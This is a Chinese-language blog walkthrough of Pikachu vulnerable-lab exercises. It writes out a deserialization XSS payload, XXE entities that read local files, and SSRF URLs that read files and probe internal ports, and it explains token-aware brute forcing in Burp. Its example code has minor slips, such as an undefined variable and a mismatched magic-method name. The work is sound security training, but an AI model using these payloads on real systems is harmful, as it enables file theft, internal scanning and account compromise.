1、暴力破解

1.1、token防爆破?

按照正常流程抓包发送到Intruder模块,添加如下两个变量:
1.png

在Options的Grep-Extract中点击Add,在新出来的框中找到返回包的token并选中,然后点OK。
2.png

在Options的最下方的Redirections选中Alaways
3.png

设置线程为1,不然会报错:
4.pngerror.png

下面设置payload1:
5.png

对token的Payload2:
6.png

获取到结果
7.png

2、PHP反序列化

概述

下面来自pikachu
在理解这个漏洞前,你需要先搞清楚php中serialize(),unserialize()这两个函数。

序列化serialize()

序列化说通俗点就是把一个对象变成可以传输的字符串,比如下面是一个对象:

class S{
    public $test="pikachu";
}
$s=new S(); //创建一个对象
serialize($s); //把这个对象进行序列化

序列化后得到的结果是这个样子的:O:1:"S":1:{s:4:"test";s:7:"pikachu";}

反序列化unserialize()

就是把被序列化的字符串还原为对象,然后在接下来的代码中继续使用。

$u=unserialize("O:1:"S":1:{s:4:"test";s:7:"pikachu";}");
echo $u->test; //得到的结果为pikachu

序列化和反序列化本身没有问题,但是如果反序列化的内容是用户可以控制的,且后台不正当的使用了PHP中的魔法函数,就会导致安全问题

漏洞举例:

class S{
    var $test = "pikachu";
    function __destruct(){
        echo $this->test;
    }
}
$s = $_GET['test'];
@$unser = unserialize($a);

payload:O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";}

题目

该题是一个接受序列化后数据的api:
unserialize_test.png

反序列化问题我们就直接去审计下它的源代码:
unserialize_unser.png

它的S类下有一个变量test,还定义了一个魔术方法__construct

__construct:当一个对象创建时被调用

我们构造一个反序列化后的代码就行了:
unserialize_serialize.pngunserialize_payload.png

输入上图payload:O:1:"S":1:{s:4:"test";s:29:"<script>alert('123')</script>";}
即可实现弹窗:
unserialize_alert.png

3、XXE

该题是一个接收xml数据的api:
XXE_xxe.png

我们按照XML文档语法构造就行了
显示文字:
XXE_print.png

<?xml version="1.0"?>
<!DOCTYPE test [
<!ENTITY test "我是文字">
]>
<test>&test;</test>

读取文件:
XXE_readfile.png

<?xml version="1.0"?>
<!DOCTYPE test [
<!ENTITY test SYSTEM "file:///C://config.ini">
]>
<test>&test;</test>

3、SSRF

3.1、SSRF(curl)

该题目下是一个链接:
SSRF_curl_1.png

点击后会传入一个向内网发起请求的url:
SSRF_curl_2.png

我们可以利用它来读取文件:
http://localhost/pikachu/vul/ssrf/ssrf_curl.php?url=file:///C://config.ini
SSRF_curl_3.png

也可进行端口探测:
http://localhost/pikachu/vul/ssrf/ssrf_curl.php?url=http://127.0.0.1:3306
SSRF_curl_4.png

3.2、SSRF(file_get_content)

file_get_content可以对本地和远程的文件进行读取,方法同上
http://localhost/pikachu/vul/ssrf/ssrf_fgc.php?file=https://www.baidu.com
http://localhost/pikachu/vul/ssrf/ssrf_fgc.php?file=file:///C://config.ini
base64编码读取文件:
http://localhost/pikachu/vul/ssrf/ssrf_fgc.php?file=php://filter/read=convert.base64-encode/resource=C://config.ini
读取出来后解码即可

Last modification:March 27th, 2020 at 01:44 pm
如果觉得我的文章对你有用,请随意赞赏